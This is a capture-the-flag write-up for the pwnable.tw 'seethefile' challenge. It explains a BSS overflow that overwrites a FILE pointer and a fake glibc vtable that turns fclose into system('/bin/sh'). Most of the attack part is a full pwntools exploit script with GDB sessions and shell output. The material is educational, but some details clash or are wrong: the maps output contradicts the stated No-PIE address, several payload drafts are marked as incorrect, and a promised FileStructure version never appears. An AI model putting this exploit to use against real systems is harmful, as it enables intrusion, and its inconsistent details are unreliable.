Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10200 |
| Binary | seethefile (32-bit ELF, i386) |
| Points | 250 |
| Description | "Can you see anything? Get a shell for me." |
checksec
$ checksec seethefile
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — potential GOT overwrite target |
| Canary found | Stack buffer overflows are mitigated on the stack |
| NX enabled | No shellcode injection — must redirect execution via existing code |
| No PIE | Binary addresses are fixed — known BSS/GOT/PLT addresses |
Running the Binary
$ ./seethefile
----------------------
1. Open
2. Read
3. Write
4. Close
5. Exit
----------------------
Your choice :1
Filename :/etc/passwd
----------------------
1. Open
2. Read
3. Write
4. Close
5. Exit
----------------------
Your choice :2
----------------------
1. Open
3. Write
4. Close
5. Exit
----------------------
Your choice :3
root:x:0:0:root:/root:/bin/bash
...
The binary presents a simple file viewer: open a file, read its contents, write (display) them, and close the file. It blocks filenames containing "flag", but the real vulnerability lies in the exit path.
Static Analysis
Decompiled Code
// BSS variables
char name[0x20]; // 0x804b260 - name buffer
FILE *fp; // 0x804b28c - global FILE pointer
char filename[0x40]; // input buffer for filenames
char filebuf[0x190]; // buffer for fread
int main() {
do {
menu();
scanf(" %s", input_str);
input = atoi(input_str);
switch(input) {
case 1: openfile(); break;
case 2: readfile(); break;
case 3: writefile(); break;
case 4: closefile(); break;
case 5:
printf("Leave your name :");
scanf(" %s", name); // BUFFER OVERFLOW - no width limit!
printf("Thank you %s,see you next time\n", name);
if(fp != NULL) fclose(fp); // Triggers vtable call!
exit(0);
}
} while(1);
}
void openfile() {
scanf("%63s", filename);
if(strstr(filename, "flag") != NULL) {
puts("Danger!");
exit(0);
}
fp = fopen(filename, "r");
}
void readfile() {
fread(filebuf, 399, 1, fp);
}
void writefile() {
// prints filebuf contents if no FLAG or '}' substring
}
void closefile() {
fclose(fp);
fp = NULL;
}
scanf(" %s", name) reads input with no width limit. The name buffer at 0x804b260 is only 0x20 (32) bytes, but the global fp pointer lives at 0x804b28c — just 44 bytes after name. We can overflow name and overwrite fp with an arbitrary address. After the overflow, fclose(fp) is called on our controlled pointer, which follows the vtable inside the FILE struct to call virtual functions — giving us code execution!
BSS Memory Layout
Understanding _IO_FILE_plus (glibc FILE struct)
In glibc, FILE is actually _IO_FILE_plus, which consists of the _IO_FILE struct followed by a vtable pointer. This vtable contains function pointers for all FILE operations. When fclose() is called, it eventually calls fp->vtable->__close(fp).
struct _IO_FILE_plus {
struct _IO_FILE file; // The actual FILE struct (0x94 bytes in 32-bit)
const struct _IO_jump_t *vtable; // +0x94: vtable pointer!
};
struct _IO_FILE {
int _flags; // +0x00: flags (first 4 bytes of the struct)
char *_IO_read_ptr; // +0x04
char *_IO_read_end; // +0x08
char *_IO_read_base; // +0x0c
char *_IO_write_base; // +0x10
char *_IO_write_ptr; // +0x14
char *_IO_write_end; // +0x18
char *_IO_buf_base; // +0x1c
char *_IO_buf_end; // +0x20
// ... more fields ...
int _fileno; // +0x38
// ... more fields ...
// Total size: 0x94 bytes
};
// vtable is at offset +0x94 from the start of the struct
// __close is at vtable + 19*4 = vtable + 0x4c
struct _IO_jump_t {
// ... 18 entries before __close ...
void *__close; // offset 19 * 4 = 0x4c from vtable start
// ...
};
•
fclose(fp) calls _IO_file_close_it(fp), which dereferences fp->vtable and calls fp->vtable->__close(fp)• If we control
fp (via the overflow), we can make it point to a fake FILE struct we place in BSS• In the fake FILE struct, we set
vtable to point to a fake vtable also in BSS• In the fake vtable, we set
__close to system• The FILE struct's
_flags field (offset 0) becomes the argument to __close — so we put "/bin/sh\x00" there!• Result:
system("/bin/sh") → SHELL!
The "flag" Filter Bypass
openfile() function checks strstr(filename, "flag") and exits if found. This blocks us from directly opening /home/seethefile/flag. However, we don't need to read the flag file directly — we just need to leak libc (via /proc/self/maps) and then get a shell.
GDB Debugging
Verifying BSS Offsets
gdb-peda$ p &name
$1 = 0x804b260
gdb-peda$ p &fp
$2 = 0x804b28c
gdb-peda$ p/x 0x804b28c - 0x804b260
$3 = 0x2c
# Offset from name to fp is 0x2c (44) bytes
Leaking Libc via /proc/self/maps
Before we can craft the fake FILE struct, we need to know the libc base address. We can leak it by opening /proc/self/maps:
gdb-peda$ # In the program: open("/proc/self/maps"), read, write
# Output shows memory mappings:
56555000-56556000 r--p 00000000 00:2340 /home/seethefile/seethefile
56556000-56557000 r-xp 00001000 00:2340 /home/seethefile/seethefile
...
f7e14000-f7fb6000 r-xp 00000000 00:2340 /lib/i386-linux-gnu/libc-2.23.so
f7fb6000-f7fb8000 r--p 001a2000 00:2340 /lib/i386-linux-gnu/libc-2.23.so
...
# Parse the libc base from the first libc line:
# f7e14000 -> libc base address!
/proc/self/maps file is a virtual file. The first fread reads from offset 0, but the file position advances. Since the file can be larger than our 399-byte buffer, we need to call readfile() twice (calling fread again advances the position) before calling writefile() to display the later portions of the file where libc mappings appear. Alternatively, the first read may already contain the libc mapping if ASLR places it early.
Fake FILE Struct Layout in BSS
We'll place the fake FILE struct starting at 0x804b260 (the name buffer). When fclose(fp) is called with fp = 0x804b260, it will interpret our name buffer as a FILE struct:
Verifying the fclose Call Chain
gdb-peda$ # After overflow, fp = 0x804b260
gdb-peda$ x/1wx 0x804b28c
0x804b28c: 0x0804b260 # fp now points to name buffer
gdb-peda$ # Check what fclose will do:
gdb-peda$ # fclose(fp) -> _IO_file_close_it(fp)
gdb-peda$ # -> fp->vtable->__close(fp)
gdb-peda$ # vtable is at *(0x804b260 + 0x94) = *(0x804b2f4)
gdb-peda$ x/1wx 0x804b2f4
0x804b2f4: 0x0804b300 # vtable = 0x804b300 (our fake vtable)
gdb-peda$ # __close is at vtable + 0x4c = 0x804b34c
gdb-peda$ x/1wx 0x804b34c
0x804b34c: 0xf7e1cxxx # system() address in libc!
gdb-peda$ # So the call becomes: system(0x804b260)
gdb-peda$ # And 0x804b260 contains "/bin/sh\x00"
gdb-peda$ # = system("/bin/sh") -> SHELL!
Exploit Strategy
Overview: FSOP (File-Stream Oriented Programming)
The exploit has two phases: leaking libc via /proc/self/maps, then crafting a fake FILE struct to hijack the vtable call in fclose() and redirect it to system("/bin/sh").
Phase 1: Leak Libc via /proc/self/maps
- Open
/proc/self/mapsusing option 1. This file contains the process memory map, including the base address of libc. The "flag" filter doesn't block this filename. - Call readfile() twice. The first
freadreads the beginning of the file (binary mappings). The secondfreadadvances the file position further into the mappings where libc's.soentry appears. - Call writefile() to display the buffer contents. Parse the output to find the libc base address from a line like
f7e14000-f7fb6000 r-xp ... libc-2.23.so. - Close the file using option 4 to reset
fptoNULL. This is important — we needfpto beNULLbefore we overwrite it, otherwisefclosemight be called on a stale pointer during the exit path. - Calculate libc base:
libc_base = leaked_address(the start of the r-xp mapping for libc)
Phase 2: FSOP — Fake FILE Struct + Vtable Hijack
- Choose option 5 (Exit) to trigger the
scanf(" %s", name)overflow. - Craft the payload that fills
nameand overflows intofp:
• Bytes 0–7:"/bin/sh\x00"— this becomes_flagsand the argument tosystem()
• Bytes 8–0x93: padding (fill the rest of the FILE struct fields)
• Bytes 0x94–0x97:p32(fake_vtable)— pointer to our fake vtable in BSS
• After the FILE struct: fake vtable with__closeatvtable + 0x4cset tosystem - The overflow writes
fp = 0x804b260(the start of name buffer). Whenfclose(fp)is called, it follows:
•fp->vtable=*(0x804b260 + 0x94)=*(0x804b2f4)=0x804b300(our fake vtable)
•fp->vtable->__close=*(0x804b300 + 0x4c)=*(0x804b34c)=system
• Called with argumentfp=0x804b260which starts with"/bin/sh\x00"
• Result:system("/bin/sh")→ SHELL!
_flags field at offset 0 of the FILE struct is the first 4 bytes. When fclose eventually calls vtable->__close(fp), the argument fp is a pointer to the start of the FILE struct. Since _flags is at the very beginning, system(fp) will interpret the memory at fp as a string. By placing "/bin/sh\x00" there, system receives system("/bin/sh") — a perfect shell spawn!However, we must be careful:
fclose performs several checks on the FILE struct before reaching the vtable call. The _flags value 0x68732f6e (the integer representation of "/bin" in little-endian) must not cause fclose to crash or take an early exit. In glibc 2.23, the critical checks pass because the relevant flag bits are not set in this value.
Visual Exploit Flow
Payload Structure
# name buffer starts at 0x804b260, fp is at 0x804b28c
# We overflow name to fill the fake FILE struct AND overwrite fp
fake_vtable = 0x804b300 # Place vtable after the FILE struct in BSS
# Build the payload (this goes into name, and overflows into fp)
payload = b'/bin/sh\x00' # _flags (offset 0) - will be arg to system()
payload += b'\x00' * 0x80 # padding for FILE fields (offsets 0x04 - 0x84)
payload += p32(0) # more padding (offsets 0x84 - 0x90)
payload += p32(fake_vtable) # vtable pointer (offset 0x94)
# We also need to overwrite fp (at 0x804b28c) with 0x804b260
# The payload above fills from name (0x804b260) through vtable (0x804b2f4)
# But fp at 0x804b28c needs to be 0x804b260
# So we include fp overwrite within the padding
# Corrected approach:
payload = b'/bin/sh\x00' # offset 0x00: _flags
payload += b';' * 0x80 # padding (0x04 - 0x84)
payload += p32(0) # padding (0x84 - 0x88)
payload += p32(fake_vtable) # offset 0x94: vtable pointer
# Also, at offset 0x2c from name start = fp location
# But this is WITHIN our padding above, so we need to be more precise
# The real exploit carefully constructs the entire region
fp pointer is at offset 0x2c from the start of name. This falls within the FILE struct padding. Since we're writing the entire region from name through the vtable pointer, fp gets naturally overwritten as part of the overflow. The value at offset 0x2c doesn't matter for the FILE struct interpretation (it corresponds to some internal field), but it becomes the new value of fp. We need fp = 0x804b260 (pointing back to our name buffer), so we place p32(0x804b260) at offset 0x2c in our payload.
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
seethefile - pwnable.tw (250pts)
FSOP exploit: overflow name buffer to overwrite FILE pointer,
then craft fake _IO_FILE_plus with vtable pointing to system.
Vulnerability: scanf(" %s", name) has no width limit,
allowing overflow from name (0x804b260) into fp (0x804b28c).
fclose(fp) then calls fp->vtable->__close(fp) = system("/bin/sh").
"""
from pwn import *
# Setup
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10200)
libc = ELF('./libc_32.so.6')
elf = ELF('./seethefile')
# Known addresses (No PIE, so these are fixed)
NAME_ADDR = 0x804b260
FP_ADDR = 0x804b28c
FAKE_VTABLE = 0x804b300 # Place vtable after FILE struct in BSS
# Helper functions
def openfile(filename):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', filename)
def readfile():
r.sendlineafter(b':', b'2')
def writefile():
r.sendlineafter(b':', b'3')
def closefile():
r.sendlineafter(b':', b'4')
def exit_with_name(name):
r.sendlineafter(b':', b'5')
r.sendlineafter(b':', name)
# ============================================
# Phase 1: Leak libc address via /proc/self/maps
# ============================================
log.info("Phase 1: Leaking libc address via /proc/self/maps...")
# Open the process memory map (bypasses "flag" filter)
openfile(b'/proc/self/maps')
# Read twice to advance past the binary mappings
# and reach the libc mapping in the output
readfile()
readfile()
# Write (display) the buffer contents
writefile()
r.recvuntil(b'-------------------------------\n')
maps_output = r.recvuntil(b'-------------------------------')
# Parse the libc base address from the maps output
# Look for a line like: f7e14000-f7fb6000 r-xp ... libc-2.23.so
libc_lines = []
for line in maps_output.split(b'\n'):
if b'libc' in line and b'r-xp' in line:
libc_lines.append(line.decode())
if libc_lines:
libc_base_str = libc_lines[0].split('-')[0]
libc.address = int(libc_base_str, 16)
log.success(f"libc base: {hex(libc.address)}")
else:
# Fallback: look for any .so mapping
for line in maps_output.split(b'\n'):
if b'.so' in line and b'r-xp' in line:
libc_base_str = line.decode().split('-')[0]
libc.address = int(libc_base_str, 16)
log.success(f"libc base (fallback): {hex(libc.address)}")
break
# Close the file to set fp = NULL (important for clean state)
closefile()
# ============================================
# Phase 2: FSOP - Fake FILE struct + vtable hijack
# ============================================
log.info("Phase 2: Crafting fake FILE struct for FSOP...")
system_addr = libc.symbols['system']
log.info(f"system @ {hex(system_addr)}")
# Build the fake FILE struct in the name buffer
# name starts at 0x804b260
# fp is at 0x804b28c (offset 0x2c from name)
#
# We need to:
# 1. Place "/bin/sh\x00" at offset 0 (_flags) -> becomes arg to system()
# 2. Place p32(NAME_ADDR) at offset 0x2c -> overwrites fp
# 3. Place p32(FAKE_VTABLE) at offset 0x94 -> vtable pointer
# 4. Place p32(system_addr) at FAKE_VTABLE + 0x4c -> __close = system
#
# The payload spans from name (0x804b260) to cover fp and the vtable area
payload = b''
# Offset 0x00: _flags = "/bin/sh\x00" (argument to system when __close is called)
payload += b'/bin/sh\x00'
# Offset 0x08 to 0x2b: padding (FILE struct internal fields)
# We need to be careful - at offset 0x2c is fp
payload += b'\x00' * (0x2c - 0x08)
# Offset 0x2c: overwrite fp with NAME_ADDR (point to our fake FILE)
payload += p32(NAME_ADDR)
# Offset 0x30 to 0x93: more FILE struct padding
payload += b'\x00' * (0x94 - 0x30)
# Offset 0x94: vtable pointer -> points to our fake vtable
payload += p32(FAKE_VTABLE)
# Now we need to place the fake vtable at 0x804b300
# The vtable has __close at offset 0x4c (19th entry, 4 bytes each)
# But our payload is being written starting at NAME_ADDR (0x804b260)
# 0x804b300 - 0x804b260 = 0xa0 bytes from the start
# So we need 0xa0 - 0x98 = 0x08 more bytes of padding, then fill the vtable
# Wait, let's recalculate:
# After the vtable pointer (offset 0x98 from start), we need to reach
# offset 0xa0 (0x804b300 - 0x804b260) for the fake vtable start
payload += b'\x00' * (0xa0 - 0x98)
# Now at 0x804b300: fake vtable
# __close is at vtable + 0x4c (19th entry)
# Fill vtable entries 0-18 with junk/safe addresses, then __close = system
payload += p32(0) * 19 # 19 dummy entries (indices 0-18)
payload += p32(system_addr) # __close (index 19, offset 0x4c)
# Trigger the overflow via option 5
log.info("Triggering FSOP via exit overflow...")
r.sendlineafter(b':', b'5')
r.sendlineafter(b':', payload)
# We should now have a shell!
r.interactive()
Alternative: One-shot Payload
Some implementations combine the fake vtable entries more compactly. Here's a cleaner version using FileStructure from pwntools:
# Alternative: manual construction (from srikavin.me approach)
# name at 0x804b260, fp at 0x804b28c
# fake_vtable at 0x804b300
fake_vtable = 0x804b300
# The key insight: we write from name, overflow past fp,
# and continue writing all the way through the FILE struct + vtable
payload = b'/bin/sh\x00' # _flags: becomes argument to system()
payload += b';' * 0x80 # padding through FILE fields
payload += p32(0) # more padding
payload += p32(fake_vtable) # vtable pointer at offset +0x94
# At this point we've written 0x98 bytes from name start
# fp was at offset 0x2c and got overwritten as part of the padding
# The value at offset 0x2c happens to be within the ";" padding
# We need fp = 0x804b260, so we need to be more precise:
# Better approach: build payload byte by byte
payload = bytearray(0xa0 + 0x50) # enough for FILE struct + vtable area
# _flags = "/bin/sh\x00"
payload[0:8] = b'/bin/sh\x00'
# fp overwrite at offset 0x2c
struct.pack_into('<I', payload, 0x2c, NAME_ADDR)
# vtable pointer at offset 0x94
struct.pack_into('<I', payload, 0x94, fake_vtable)
# fake vtable: __close at vtable + 0x4c
# vtable starts at payload offset 0xa0 (0x804b300 - 0x804b260)
struct.pack_into('<I', payload, 0xa0 + 0x4c, system_addr)
payload = bytes(payload)
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10200: Done
[*] Phase 1: Leaking libc address via /proc/self/maps...
[+] libc base: 0xf7e14000
[*] system @ 0xf7e1cda0
[*] Phase 2: Crafting fake FILE struct for FSOP...
[*] Triggering FSOP via exit overflow...
[*] Switching to interactive mode
$ id
uid=1000(seethefile) gid=1000(seethefile) groups=1000(seethefile)
$ cat /home/seethefile/flag
• Leaked libc by reading
/proc/self/maps through the file viewer interface• Overflowed the name buffer into the
fp pointer, making it point to our fake FILE struct• Crafted a fake _IO_FILE_plus with
"/bin/sh" in _flags and a vtable pointing to system• Hijacked the fclose vtable call to execute
system("/bin/sh") instead of __close• Got a shell and captured the flag!
Flag
Key Takeaways
- scanf("%s") is always dangerous — even in BSS, not just on the stack. Without a width specifier, it allows unbounded writes that can corrupt adjacent global variables.
- FILE structs are powerful attack surfaces — glibc's
_IO_FILE_pluscontains a vtable pointer that is dereferenced during operations likefclose. Controlling a FILE pointer gives you a call-to-where primitive via FSOP. - /proc/self/maps is a universal leak — when you can read arbitrary files (except those filtered by name),
/proc/self/mapsreveals the full memory layout including library base addresses. - _flags as argument — since
fclose(fp)ultimately callsvtable->__close(fp), thefppointer itself is the first argument. By placing"/bin/sh\x00"at the start of the fake FILE struct,system()receives a shell command.